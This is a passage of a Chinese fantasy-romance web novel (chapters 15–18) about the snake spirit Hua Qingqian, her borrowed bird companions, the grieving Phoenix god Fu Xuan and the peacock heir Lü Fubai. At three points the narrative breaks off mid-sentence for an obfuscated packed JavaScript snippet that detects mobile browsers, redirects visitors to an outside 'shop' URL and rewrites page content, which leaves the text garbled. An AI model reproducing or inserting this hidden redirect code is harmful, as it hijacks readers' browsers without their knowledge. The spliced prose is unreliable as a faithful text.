“清浅!你看这只碗,这鹰好好看,我们买几只回去吧?”他撺掇道,总觉得自己就着这碗多吃几口饭,以后也能长成这样威风凛凛的模样。 花清浅看向那碗,却仿佛看到了什么不干净的东西一般,赶紧转过视线,问摊主道:“老板,你们这些碗碟有没有什么别的图案?” “姑娘,我家招牌就是黑鹰烧瓷……”摊主见她凑近,脸上猛然一红,为难地道,“也有些花草的式样,不过都被买走了,您二位来得不巧,摊里就只剩这些黑鹰的了。” 花清浅看到黑鹰,就想起来那抹霸道又狂妄的身影——苍御峻,惜蜜说得没错,他当真能与神一战。 她见证过他与神的一战,他还胜了,厉害威风得很。然而她此生真不想跟此人扯上半点关系,见玉京子实在渴望,她只好掏出钱来,允他买了两只。 “到时候你自己用这碗啊,图案转到你自己那边去,别叫我看见。” 玉京子问她:“为什么,你不喜欢碗上的图案吗?” “嗯,不喜欢。” 在遇见某只鹞鹰妖尊以前,她因为凤凰神君爱屋及乌,喜欢所有的鸟族。她喜欢他们飞翔的自由姿态,居高临下睥睨的眼神,还有他们看似毛绒绒、实则极度有力的温暖胸羽。 现在么……哼哼,她恨屋及乌,看见黑色的鸟就觉得晦气。 黑鹰明明这么好看,她怎么会不喜欢!玉京子费劲地拿着碗跟在她身后,过了好久才反应过来:“有黑鹰得罪过你?” “那、那其实我不要这碗也行的,你别生气呀。” 他以前一直这么迟钝,花清浅早就习惯了。她在前边分开人潮,并没有回头,也没有生气。 “没什么,你想买就买,那人还不至于让我恨成这样……” 那只鹞鹰也是位心眼子颇小的妖尊,要真说起来,他俩谁更恨谁还不一定呢。 15. 第15章 不知是不是带回了黑鹰碗碟的缘故,那位妖尊的影子总在花清浅眼前晃啊晃,她耳畔仿佛时时能听见他戾气满满的怒吼(“花清浅,你走了就别再回来!”)。 这一晚,花清浅又睡不着了。 旁边屋里的玉京子倒是睡得鼾声四起,花清浅喝完了安神蜜,还是睡不着,窝在床里裹着被子翻来滚去,痛定思痛:长夜漫漫,她果然还是需要鸟族温暖的胸羽。 一大早起来,她立刻就给唯一认识的鸟族长老望湘发去了传音:“看见速回,看见速回。” 这位望湘,原形其实是一只灰背山雀,人形习惯佝偻着背,有点怂怂的。 当时他的部族惹到了苍御峻,本会被即刻踏平,他前来求情,苍御峻自然不理,但花清浅看他怂怂的有点可爱,便替他劝了几句。她的身份是妖尊尊后,苍御峻这点小事也不会硬与她做对,索性就放过了灰背山雀一族。 不过一会,传音玉牌就亮了起来。注入灵力,望湘的声音从里面传出:“尊后想吩咐什么?老奴听着。” “送两只你们族中的青年才俊过来。”本来一只就够,花清浅看了眼玉京子,决定让他也享受一下: “对,送来慕城,城南的小院儿。要原形羽毛丰满的,人形也长得精神一点,靠上去舒舒服服的……哦,你问我要来干什么?” 她弯起一抹理所当然的笑:“要来暖/床啊,还能干什么?放心,我不与他们双修,就算双修,也绝不会单方面采阳补阴。你只管把你族青年送来,跟他们讲,来我这里好处多着呢。” - 自从那次天界皆知的事件发生后,神霄玉清就很少进入凤凰神君的私人地界了。但如今傅玄神识不要命一般往外探,仿佛铺满了整个天地之间,又通过玉牌传召他觐见,他不得不硬着头皮前来打扰。 神霄玉清屏着呼吸进入长生界,无量崖内,第一眼就看到小花蛇随手编了送给傅玄的草环。 这些草环还被他留着,整整齐齐放在梧桐巢的前边,不知用了什么耗费神力的奢侈法术保存,一点发黄破损的迹象也没有。 凤凰神君真是不动情则已,一动就长情得能吓死人。他又想起岐深的这句话,不由忧心忡忡地摇了摇头。 “我寻到她的气息了。”在他来得及开口劝慰以前,傅玄忽然没头没尾地说了这么一句。 神霄玉清差点被他吓出个好歹,循声望去,才看到傅玄窝在梧桐巢的阴影内,被花清浅送他的那些旧物环绕着,水月镜摆在他面前,呆呆地定格在某个时刻不动。 “你寻到了谁的气息?” “她的。”傅玄强调道,“花清浅的。” 神霄玉清就知道,总有这么一天的:傅玄成日盯着水月镜,终于把自己盯魔怔了。 他想上前查看水月镜内的景象,路过梧桐枝叶时被傅玄警惕的目光盯了一路,只好时刻注意脚下,一点都没有挨到他宝贝不已的那些零碎礼物。 傅玄这才收回目光。 神霄玉清上前,看清了水月镜内的景象:“这是花清浅在蛇谷庆生的那日?” 那日诞辰,花清浅得了美酒,在西谷大摆筵席,凤凰神君应邀前往,神霄玉清和岐深也去了现场。 那一日,天界的人才知道,别看花清浅平日里不声不响,跟在神君后面像个小鹌鹑一样,人家五湖四海的相识其实挺多,光羽毛绚丽的鸟儿就有四五只。 其中一位叫做白昼的长尾玄雀喝多了,还乘着果子酿的醉意跟她告白: “清浅,我们成婚吧!你不是很喜欢西陆的风景吗,我带你去西陆,去游星沙海,吃荆棘果,每天你都可以睡在我的胸前,你说过我羽毛很好看,在西陆你可以天天看……” 西陆的妖太热情奔放,当众告白,整个场子都为之一静。神霄玉清还记得花清浅很是尴尬,还急着向傅玄解释,她与白昼之间清清白白。 “什么叫清清白白!你长得这样好看,我就是心悦你,我才不要跟你清清白白!”那长尾鸟雀愤愤叫起来,花清浅愈发不安地望向傅玄,生怕他生气,又隐隐有点期待他能吃醋。 傅玄没有生气,更没有吃醋。 仿佛对此事根本不在意一般,他迎着花清浅的目光,安静地喝下去一口果子酿,过了良久,不动声色地道:“你若真与他有情,去西陆成婚也很好。” 花清浅的眼神一下子暗淡下来,傅玄似乎犹嫌不够,还加了一句:“你我神宫缘分,我可为你主婚。” 当时神霄玉清都皱起了眉头,觉得傅玄此话太过,有些诛心了。若他想让花清浅放下执念,直接拒绝她就好,何必在人家生辰时把她推给别人? 时至今日,他和岐深看着傅玄一遍遍复盘那些过往,毫无希望却仍执着地搜寻妖族回生之法,再回想此事,才惊觉他们还是对神君了解不够。 他哪里是不生气,不在意?那日他分明慌神得不知所措,害怕花清浅当真会被那西陆的鸟族迷惑,又疑心她怎会称赞别鸟的羽毛,憋了半天才憋出一句话,只是他不明白,一时上头的气话,那还不如不说。 如今明白了傅玄的心思,神霄玉清也能猜到他为何要用水月镜回溯这一幕:“你想改变这段过往?” “她当时……很伤心。我不该说那些话的。”傅玄轻轻说道,“那并不是我想说的话。” 若回到那时,他该对她说,那只聒噪的雀鸟哪里都不如他,有什么好? 他该宣示主权,叫她赶走那只西陆杂毛鸟,明明白白地告诉她,天底下没有一只鸟的羽毛能赶得上凤凰,如果她喜欢鲜亮的羽毛,那她不如选他。 “我想让她选我。”傅玄的声音沉了下去,有些沙哑,“我们在长生界成婚……” 他这个样子实在太神伤,神霄玉清不忍再看,转过眼去,没注意到他的神色一点点变得沉静而坚定。 “我要去找她。”他说道。 神霄玉清提醒他:“可花清浅已经——” 他没能说出那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178521|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字,因为傅玄猛地抬眼,眼底神色过于可怖,他被这个眼神看得全身发冷,再说不出一个字。 “她没有死,我感应到了她的气息。” 神霄玉清愣了一下,这才反应过来他是认真的:“这几日你神识铺散,就是为了——” “是。” “你知不知道这有多危险!六界都是你的神识,万一你不小心动了杀念,多少生灵都要遭殃?!”神霄玉清硬气了没几句,又赶紧找补: “当然,你是凤凰神君,心智坚定天上第一,我没资格说你。我也知道你不会轻易起念动心,我是在杞人忧天,但我的意思就是,你能不能想个保险点的法子……” 傅玄没有说话。 神霄玉清说他不会轻易起念动心,他错了;他其实轻易就起过杀念,在他发动神识找寻清浅的气息,将将碰触到她的一刹那,却又感应到她淹没在人潮里的时候。 花清浅在凡间,在某条游人如织的街道上。街上有那么多人,而他们全都走得那么慢。 那个瞬间,焦躁、疑惑与不安达到了极致,他近乎疯魔地想要确认,她没有死,她在哪条街,她为何没有死,为何会出现在那里,她好好的,为何不回来找他—— 她身边那么多人,那么多令他烦躁的人。他确确实实是起过杀念的。 “神君。”神霄玉清掐指算了些什么,又叹着气看向他,“我不是在给你泼冷水,只是你要知道,无论如何,那日以后,你与花清浅已再无缘分。” 傅玄平静地看着他,“我知道。” 他的天命,他自己当然最为清楚。当初创世神给他安排的是孤寡终生的命格,花清浅是他唯一的变数,可他错过了。 错过就是错过,按照命格常理推算,他与花清浅已没有再次相见的可能,他们之间也再没有姻缘。 神霄玉清看着他的表情,还想最后再劝一劝:“天命在此,你与花清浅因果已结,你再强求,就是逆天而为了。” 他想到他与傅玄一起追捕丹虺时,听说花清浅临死控诉他的罪名,丹虺笑得猖狂,对傅玄大吼: “花清浅拼着一死也要污蔑我,不过是因为玉京子而已!她要为玉京子报仇,但别忘了,玉京子的死你也有一份!” “她不喜欢你,就算你杀了我,她也不会再喜欢你!” 神霄玉清颇为看不上丹虺这种小人,但他说的某些话还挺有道理。 而且,花清浅明明知道傅玄不会被魔矢伤到,却还要以身去挡…… 神霄玉清心里有个猜测,一直没敢跟傅玄说过,他怕他太较真,转不过那个弯来。 他迟疑着道:“你还记不记得丹虺的话?就算你能找到花清浅,她也未必还会喜欢你——” 傅玄容色淡淡,打断他道:“我不在的时候,你守好天界。” 合着他这么多的口舌都白费了,神霄玉清无语扶额:“等等,你要去哪里?” “去找孔雀大明王。” 16. 第16章 孔雀大明王吕简是孔宣之后,但先祖战遍洪荒、力压大鹏的风采魄力已然在他身上消失殆尽。相比之下,他儿子吕浮白还好些,一度被认为是孔雀族复兴的希望,但近千年以前,吕浮白抗击邪魔被打伤,自此陷入漫长沉睡,孔雀族便又这样沉寂了下去。 吕简继承了大明王的名头,生来大小也算个神。可饶是如此,在傅玄第一次光临大明王洞府时,他还是吓得尾巴都要掉了。 吕简在天上见过傅玄几次,见到的都是他气定神闲、杀伐决断的模样,那日站在青逸山洞府前满身鲜血、满目死寂的神君,他还是第一次见到。 神君脸上没什么表情,开口要他找一个叫做“花清浅”的魂片。吕简找了好久,却怎么找也找不到,只好上报说或许是遗失了。 他的收魂能力极弱,妖族死后魂片遗失是常有的事,神君应当也知道。 可神君像是不能接受这个常有的事实,仿佛花清浅的魂片是他唯一的救命稻草,找不到魂片,他也再没有什么活着的必要。他呆呆立在原地,像是苟延残喘的人被刺中最后一刀,却不知道该如何自保,墨黑森寒的眸子一片空洞茫然,怔怔看着虚空的某一处。 凤凰神君一向面冷,后辈神明在他面前常有种被压迫的窒息感。可作为血缘颇近的鸟族,当时吕简战战兢兢站在他面前,被神君情绪感染,心里涌起的却是一股浓重压顶的悲哀与绝望,他根本承受不住,膝盖一软,跪倒在地。 不夸张地说,那时他真的想去死,也好过忍受那般撕心裂肺的痛楚。 事后吕简用了好几个月来恢复,时不时就想到,神君到底是神君,他只是被感染到了一刻,就恨不得立即去死,神君心里时时刻刻都那么疼,却还能直直挺立在原地,此等魄力,真教人不得不服。 自那次以后,吕简对傅玄的敬意与惶恐就更深了一层。时隔五十年,如今傅玄再次光临青逸山,他简直又惊又怕,忙不迭扶着夫人的手前去迎接。 这一次,傅玄却像是平复了许多,他的眸子里甚至有光。含着那么一丝微不可见的期望,他问吕简道,有没有玉京子的魂片。 这个名字勾起了一段不愉快的记忆,教吕简很是难以启齿。但神君要找这枚魂片,他不敢耽误神君大事,挣扎半晌后,还是又尴尬又羞愧地道出实情: “实不相瞒,这枚魂片在不久前被人抢去了……” 想他堂堂一尊上神,手上还有祖上传下来的杀器五色神光,洞府守卫本应严密至极,却还是没防住那位猖狂的西陆妖尊,叫那只鹞鹰大摇大摆在他眼皮子底下抢走魂片,一来一去如入无人之境,简直丢尽了天界的脸。 吕简垮起一张老脸,跟神君老实承认错误:“那西陆妖尊实在强悍,小神一时不察,竟教他生生夺去了魂片,小神罪该万死!” “西陆妖尊?”神君似是第一次听到这个名号,吕简鸟脖子一僵,连忙补充: “神君有所不知,这位西陆妖尊名叫苍御峻,乃是法力无边的一只鹞鹰,虽未飞升,但已打败过多位仙家。 不久前他来到小神洞府,就为了抢那玉京子的魂片,小神自然不肯,与他斗起法来,不想竟、竟然不敌,最后祭出五色神光才堪堪保住洞府。” 闻言,神君脸色猛然一沉,吕简也自知此事做得窝囊,恨不得把头低到地底下。 “他一个人来的?” “不、不是的。”吕简本来觉得这是细枝末节,就没有提,没想到神君如此敏锐,连忙如实答道: “那妖尊身边有只蛇妖,法力也算高强,且看着十分美艳……咳咳,应该就是那妖尊的尊后。” 妖尊的尊后。 傅玄只觉脑子里“嗡”地一声,他一阵目眩,还没反应过来,就见身边一道玉牌忽然亮起,是神霄玉清的传音。 “神君,我思来想去还是要跟你说一下,否则我这良心受不了。”灵力注入玉牌,里面传来神霄玉清的声音,“其实,花清浅应该早就知道你不会被魔矢所伤……你可记得紫梵星君堕魔的那日……” 在吕简看来,凤凰神君面色如常,平静地听着传音,但他其实一个字也没听懂。 他觉得荒谬,觉得不可能,因为神霄玉清说花清浅骗他,花清浅决不会骗他—— 然而与此同时,一种冰冷刺骨的了悟又在他心底缓缓蔓延开来,他想起蛇族第一轮少主比试时,她说的那句“算了”,还有她中了魔矢后甩开他的手,朝他望来的最后一眼。 她是主动想要离开他的。 挡那一箭,其实不是为了救他,她只是不要他了,从吕简的那句“妖尊尊后”以前,从神霄玉清这通传音以前,从很久、很久以前,他心里就隐隐知道了。 - 慕城,花清浅的小院内,两只青年山雀如期而至。 望湘着实很有良心,挑出来的两位都是盘靓条顺、脖细腿长、且羽毛柔软的主。 花清浅拽着两鸟进屋,命他们变为原形,自己也化作花蛇,欢快地扑进其中一只山雀蓬松的胸羽,陷在他羽毛里迅速盘成一团,只露个脑袋出来: “这不比那丝绒毛毯舒服?玉京子快试试,晚上睡觉就这么睡,肯定能做个美梦!” 可怜了那青年山雀妖,本来乍见到这么一位大美人,还颇有几分羞涩,又被她素白玉手拽着衣领勾到床/上,近距离看着她纤长浓密的睫毛、勾魂摄魄的泪痣,脑子里忍不住开始浮想联翩,却没想到她这么快就“原形毕露”,险些被吓得魂魄出窍。 平心而论,其实花清浅原形长得也很好看,肚皮雪白,背面的花纹繁丽又不煞眼,是一条不折不扣的美人蛇。 但不是所有鸟族都能欣赏得来小花蛇,这只青年山雀被她冰冷的蛇鳞环绕脖子,根本没空揣摩她体态有多媚、腰身有多细,脑子里所有旖旎情思消失殆尽,只剩下一个想法——要死要死要死了! “哎,这么僵硬干什么。”花清浅不满地用蛇尾戳戳他的喙:“靠着都不舒服了,赶紧软下来。” 山雀颤颤巍巍地答应了一声,但就是软不下来。花清浅看着他梗起脖子慷慨赴死的模样,倒有几分好笑: “别害怕嘛,我不会吃鸟妖的,真的,能修成人形的妖我都不吃,我连猪妖都不吃。你乖乖给我做靠枕,一直做到月末,我就给你一锭银子的酬劳,怎么样?” 一锭银子! 山雀的两只黑眼睛一下子亮了:与老一辈不同,他们这一代的山雀已经学会走出山区觅食,也与凡人来往, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178522|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道一锭银子有多珍贵,那可足足抵得上两个月的谷米呢! “再说了,介绍你们过来的可是望湘,他又不会害你们。”花清浅软声劝道,“你不信我,难道还不信望湘长老么?” 提到望湘,青年山雀总算放松了一点。另一边,玉京子实在与山雀相处不来,他还是习惯睡棉花枕头,于是花清浅来者不拒,热情地招呼另一只山雀上这边来。 “对了,你们叫什么名字?” “我名月下。” “我叫山下。” 花清浅笑道:“真好听,都这么有诗意。” 月下像是话少,山下比他胆子大些,与花清浅攀谈了几句,她这才知道,眼前两只山雀是一对兄弟,且与望湘是远亲。 “这种能下山远游、结识人脉,还能得额外好处的事,自然是不能流外人田的。”山下朗声笑道,“对了,还未请教姑娘芳名?” 花清浅一愣:“望湘叫你们过来,没跟你们说过我是谁?” 她做过妖尊尊后,灰背山雀一族小辈就算没见过她,也该知道她的名号才是。 月下与山下无辜摇头:“望湘长老只说姑娘身份尊贵,要我们好生侍奉,不得有误,并未提及姑娘名姓。” “……我叫花清浅。” 两只山雀齐齐跌下床去。 - “花清浅?苍、苍……那位尊上的尊后?!” “是,尊、尊后!完了,我们要死了。”山下的脑袋绝望地埋进翅膀里:“老弟,你说得没错,我们就应该在山上好好呆着,不应该多事走这一趟——” 一旁的玉京子吃惊地看着他们忽然抱作一团,失声痛哭,不解问道:“这是怎么了?清浅?” “没事,你先出去吃晚饭。”花清浅不习惯在他面前提她那些桃花债,等他走出去关上了门,这才咳嗽两声,对山雀兄弟说道: “不要哭了,你们不会死的。我已经不是尊后,与苍御峻没有半分关系,想找谁暖/床就找谁,苍御峻没资格管,也不会管。” 月下与山下对视一眼,哭得更起劲了。 “哎呀,你们信我,苍御峻真的不会管,他忙着哄之墨呢——” “之墨私通外族,珠胎暗结,早就被尊上剖丹扬灰了!”山下呜呜哭道,“西陆谁人不知,尊后抛弃尊上负气而走,尊上便去星沙海最深处讨极光,只待讨到极光,便会携来哄尊后欢心……” “……到时他知道我二人与尊后如、如此这般,我二人焉能还有命在!” 花清浅听着他的话,哭笑不得地摇了摇头。 星沙海深处的极光确实很美,可她不是没有看过,既然看过,如今也就并不多么稀罕。 “苍御峻去星沙海,为的估计并不是极光,而是极光砂。那是给他自己治伤用的。”她耐心纠正道,“他被五色神光所伤,再不治就魂飞魄散了。” “他处置之墨那般残忍,或许确实对她爱之深,恨之切罢……但我们之间,却谈不上什么爱恨。”如果他要恨她在他重伤之际离开,呃,那恨就恨吧,她没趁机把他弄死都算心肠很好了。 “他不爱我。” “至于我?我或许喜欢过他,现在么,也不喜欢啦。” 17. 第17章 最后月下和山下还是留在了小院,但并不是因为被花清浅说服,而是因为他们已经得罪死了妖尊,总不能把尊后再得罪了。 不知望湘怎么教导的这两山雀,花清浅苦口婆心的澄清劝告他们是一句也听不进去,反而认准了“尊上挚爱尊后”这条莫名其妙的歪理。 山下思路十分清晰:“尊上要灭我们灰背山雀全族时,是尊后拦下了他,于我们都有救命之恩。如今尊后要我俩服侍,我们也颇为荣幸,只是到时尊上追究起来,还望尊后再护一回我们两兄弟。” 花清浅气极而笑:“第一,我不是尊后,第二,他不会追究你们的,我说了多少次——”看到月下与山下露出泫然欲泣的表情,她又发不出脾气了,无奈道: “行吧,我答应你们。你二鸟是我叫来的,我对你们负责到底,只要有我在,便是十个苍御峻也没法奈何你们。” 反正苍御峻不会管得这么宽,空头支票开了又何妨。她温声软语,消除了二鸟的顾虑,眼见天色将晚,赶紧叫他们去床/上展开羽毛,正要美滋滋躺上去,却听屋外传来一阵吹吹打打的鼓乐之声。 小院所在的地方人迹稀少,入夜本该一片宁静,吵闹的乐声乍然响起,十分突兀。 玉京子也被这声音吵醒,他打开门向外望去,一队白衣的人马正在离小院不远处的路上垂着头往前走,队首、队尾的人手中都有乐器,乐声乍听十分喜庆,尾音尖利,又透出几分凄凉。 这么多人同时出现,本应阳气充沛,可此刻乌云遮蔽了夜空,月光消失,却平白生出一种诡谲阴暗的气息。花清浅察觉到玉京子出了屋子,灵力骤起,身形瞬间移到小院门口,蛇尾紧紧拽住他的袖口: “不要凑近,这些不是活人!” 玉京子心中一凛,定睛看去,发现那些白衣人果然动作僵硬机械,没有半分活气。从山谷深处传来的阴风刮到他们身上,发出簌簌的声响,他听着这声音恍然大悟:“他们、他们是纸人!” “这队纸人声势浩大,千里穿行,多半是为了迎接冥婚的新娘。”花清浅对慕城习俗有几分了解,她看向纸人队尾跟着的憧憧暗影,摇了摇头:“这位新娘看起来怨气颇重,吸引来这么多孤魂野鬼。” 说到此处,花清浅忽然想到什么,连忙去看身边的玉京子,只见他果然变得神情恍惚,不自觉地抬起脚,也下意识想要跟在纸人身后离去。 玉京子是魂片复生,与阳间的联系还很弱,跟凡人孤魂也没什么区别。她叹了口气,说道:“你还是老实睡觉吧。” 话音刚落,玉京子只觉得后颈一痛,还没来得及说话便晕了过去。花清浅将他扶进屋内,盖好被子,又怕他出事,坐在床边守了他一夜,等纸人野鬼彻底走远后,才自去安歇。 - 因着纸人夜行这个意外,花清浅睡得太晚,翌日快到晌午时才起来。 玉京子早已忘了昨晚的事,往凉亭里摆饭,什锦烤肉、素鸡、八宝鸭等摆了一桌,月下与山下像是第一次见到这么多的人间美味,刷地一下变回人形,簇拥到花清浅旁边。 这两只鸟很是知趣,没有自顾自塞饭,而是不约而同先给花清浅夹菜。 月下给她夹了块烤肉,山下送上一朵胡萝卜花,花清浅从他二人手中叼走美食,只觉这日子比昏君还要舒坦,再回想起过往情史,总结几段失败的求偶经验,不由大发感慨: “哎,像我这种冷血动物……果然还是适合找男宠,不适合正儿八经求偶啊。” 听了这话,两只山雀手上动作更殷勤了,玉京子无语地看向她。与此同时,小院的院门“轰”地一声大开,门外立着一个黑色衣裳的高大人影,形销骨立,带着满身风霜,双眼发红,又像是风雨欲来。 他抬步走到凉亭前,动作很是克制,可投来的视线仍是气势沉沉,使人难免有一种错觉,仿佛他表现出来的压迫感只是实际的千万分之一,若他不加克制,在场所有人都没机会善终。 此人轻易便破了花清浅门上禁制,法力在她之上,她忙挤出一丝浅笑,起身周旋道:“阁下闯我住处,所为何事?还请报上名来。” 她一面说着,一面不动声色将玉京子和月下、山下护在身后:她能感觉到,面前这黑衣人对这两只山雀的敌意尤为浓重。 来人一双眼睛定定地看着她,先是看她温暖明亮、一如往昔的棕眸,眸下泪痣,再到她随意弯起的笑容,最后是她护住那两只雄山雀的动作。 她居然在他面前护住了别人。 刚才她说要养男宠,这两只杂毛山雀便是她物色的男宠么?她一向是个贪图鸟族胸羽的小蛇,这五十年,近两万个日夜,她是否都在与他们耳鬓厮磨,风流快活? 花清浅就在他身前,这样鲜活地冲他笑,笑得这样好看,这么久以来,他第一次感觉到他还活着。 可她不爱他,有她护着,他不能把那两只山雀烧成飞灰。于是,他又在这一瞬间枯萎死去。 - 他就这样一动不动看了她良久,久到像是过了千年漫长的光阴,近乎贪婪的目光才稍稍收敛,沙哑着嗓子开口:“……你复活了玉京子。” “你认识玉京子?”花清浅悚然一惊,“你到底是什么人?!” “我是吕浮白——” 花清浅觉得这名字有些耳熟。 “——也是你曾劫掠过的,孔雀大明王吕简的世子。” - 孔雀大明王的儿子,怪不得来势汹汹。大难临头,花清浅反而冷静下来,跟他攀起家常: “听说吕简有个很出息的儿子,若非抗击邪魔时受伤沉睡,早就能独当一面了。如今得见,果然丰神俊朗,气质出尘,非同凡俗呀。” 她这话也没有刻意恭维,吕浮白长得的确很好看,面白如玉,薄唇高鼻,或许是血缘相近的关系,他眉目炯炯,甚至有几分凤凰神君的气韵,就是脸上失了些血色,像是刚刚遭过大劫似的——话说回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187280|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他多半刚刚从千年沉睡中苏醒,脸色差些也是正常。 甚至他的气场也如凤凰神君一般清冷,花清浅说了他半晌的好话,他却始终一言不发,只是一眨不眨地看着她。 那目光像是能把她穿透,又像饱含着无尽的复杂思绪,叫她心中生疑,确认了好几次脸上只有美貌,没有什么值得研究的怪东西。 又一次狐疑地摸了摸脸后,花清浅终于受够了,跟他摊开了讲道理: “好吧,我承认,我不该偷拿玉京子的魂片。但挑衅你父王的可不是我,打伤众神、让你们洞府颜面扫地的也不是我,冤有头债有主,你是不是应该先去找那位最大的债主?” “你想让我去找西陆妖尊。” “是啊,你堂堂上神,总不能柿子捡软的捏吧?” “他们说,你是他的尊后。”吕浮白仍紧紧盯着她,眼底晦暗,像是有一丝委屈,又像是希冀着什么,缓缓问道:“你却让我找他麻烦,你是不是,并不爱他。” 孔雀大明王这世子还管她爱不爱妖尊?花清浅觉得他管得真多,但还是答道:“我当然不爱他,而且我早就不是什么尊后了,你要真的杀了苍御峻雪耻,我绝对举尾巴支持。” 不知怎的,这句话像是挠到了吕浮白的痒处。他脸色莫名明朗了几分,嘴角微微一勾,说道:“其实我来此地,并不是为了找谁的麻烦。” 啊这,一说到苍御峻,他口径就变成了“不找麻烦”,真是可笑,打不过妖尊就直说打不过嘛。 看来这大明王世子也是个绣花枕头,看着威风压人,实际不过如此,花清浅心里暗暗想道。 吕浮白看着她,语气平静地继续道:“我来找你,是因为族内感应到玉京子的魂片出了问题。” 玉京子本来在大啃鸡腿,却忽然听到自己的名字,不知所措地抬起头。 花清浅霍然从原地站了起来:“你说什么?!” “昨夜,他的魂魄是否有不对劲的地方。”吕浮白提醒道。 “……有。”花清浅不想让玉京子操心这些事,拉着吕浮白出了凉亭,在两人身边设了个结界,这才将纸人夜行、玉京子险些被勾魂的事尽数道出: “他今日看着并无不妥,我就以为没事了,怎么还有问题?” 吕浮白说道:“他从死入生,犹如逆水行舟,魂魄融入世间很是艰难,稍有差池就会灰飞烟灭。我来这一趟,就是为了稳住他的魂魄。” 花清浅脱口而出:“你怎么这么好心?” “一来,玉京子的魂片是从孔雀族手里出去的,我有责任看护到底。二来,我沉睡了千年,期间世事变迁,也该见见世面。”他说着,低头看向花清浅: “此外,父王也让我跟在你身边,品味人间百态。若那西陆妖尊敢来找你,就趁机杀了他,也算锦上添花。” 最后一句杀意沸腾,花清浅听着都觉得背后一凉,心道这怕才是他的重点,她方才还是小瞧了这位世子。 18. 第18章 吕浮白是掌管妖族死魂的孔雀族,对妖族复生了解颇深。他留在这里,玉京子就多了一份保障,花清浅对此喜闻乐见,但有些事情还是要提前说清楚。 “你要知道,我真的不是西陆尊后。苍御峻本来就不爱我,如今更不可能来找我。”她好心提醒道: “你是不是听到了什么流言?那都是假的,他不爱我,要说恨我还差不多……毕竟,最后他被五色神光重伤,性命垂危的时候,我抛下他自己跑了。” “咳咳,你也不要误会我无情无义,当时我们后面有追兵,玉京子的魂片还在我手里,当务之急是护住魂片,而且我也受伤了,再说——” “你也被五色神光伤到了?”吕浮白忽然打断她问。 “是啊。” “如何疗的伤?” “五色神光治起来麻烦,我一直没找到什么好办法,就拖着咯。”一来二去拖成了旧疾,虽然也会时不时发疼,好在也不妨碍什么。 吕浮白深深看她一眼,眸光复杂痛苦,仿佛这桩不起眼的微末旧事让他五内俱焚。花清浅不明所以,听他低哑地道:“手腕给我。” 她下意识伸出手,任他将两根手指搭在她的筋脉上,下一刻只觉被他握住的地方蓦然一暖,一股温和克制的神力洪流顺着筋脉拂过全身,顷刻间疗愈了所有旧疾。 这大明王世子真是心地善良,花清浅连连道谢,过了好一会才想起原本的话题: “刚才说到哪来着,哦,对,我是抛下苍御峻跑了,但我是有苦衷的!那时我虽然名为尊后,但苍御峻心目中的尊后另有其人,我走之前叫了那位合格的尊后来帮他,我简直是仁至义尽——” “不过,苍御峻身为妖尊,心眼子却比针眼还小,现在他最不待见的人估计就是我。你守在我身边,是等不到他的。” 吕浮白淡然道:“没关系。” 听他这语气,好像留在此处才是主要目的,杀苍御峻倒像是顺便的举手之劳。可他留在这里,受益的是玉京子,他自己图什么呢? 花清浅思索片刻,很快恍然大悟:“我晓得了!你听说我在积攒天道功德,便想要待在我身边,伺机分一杯羹,对不对?!” 吕浮白不答话,她就当他是默认了。知道他确有所图,她反倒安心不少,笑着同他道: “世子想要功德,直说就好了嘛!其实我是条很好说话的蛇,只要你肯帮玉京子稳固魂魄,我以后挣到的功德都可以分你一份。” 吕浮白依旧不接她的话茬,自顾自地道:“我可以为玉京子稳固魂魄,但有一个要求。” “啊?”花清浅以为她听错了,他不是刚刚才义正严辞地说,玉京子的魂片出自孔雀族,他要看护到底,现在怎么又提要求了? 吕浮白定定地看着她,一字一顿道: “我要那两只山雀,从哪里来的,滚回哪里去。” - 花清浅没想到大明王世子这么讨厌灰背山雀。 按理说孔雀和山雀都是鸟族,血缘应该不远,月下和山下就是法力低微了些,也不至于叫他脸色如此难看吧? 难不成是她刚才那句养男宠的话被他听去了,堂堂孔雀世子看不惯山雀以色侍人的行径,觉得丢了鸟族的脸? 花清浅舔舔嘴唇,想要为月下和山下解释几句,但看了眼吕浮白冷漠的神情,也知道此事没有转圜的余地。她干脆也不再多话,转身撤了结界,冲山雀两兄弟招手道: “你们两个,收拾收拾东西,今日就回去吧!眼下我忙得很,就不多留你们了。” 两只山雀对视一眼,山下大着胆子问她:“尊后怎么忽然就要赶我们走,可是我二人做错了什么?” “当然没有,你们做得很好。”要说有错,就是你们来的时机不巧,撞上一位眼睛里容不下沙子的鸟族世子。 花清浅看着二人惶惑的瞳眸,心中泛起些愧疚,指尖一点,从院内箱子里捞出两锭纹银,不由分说塞到他们手里: 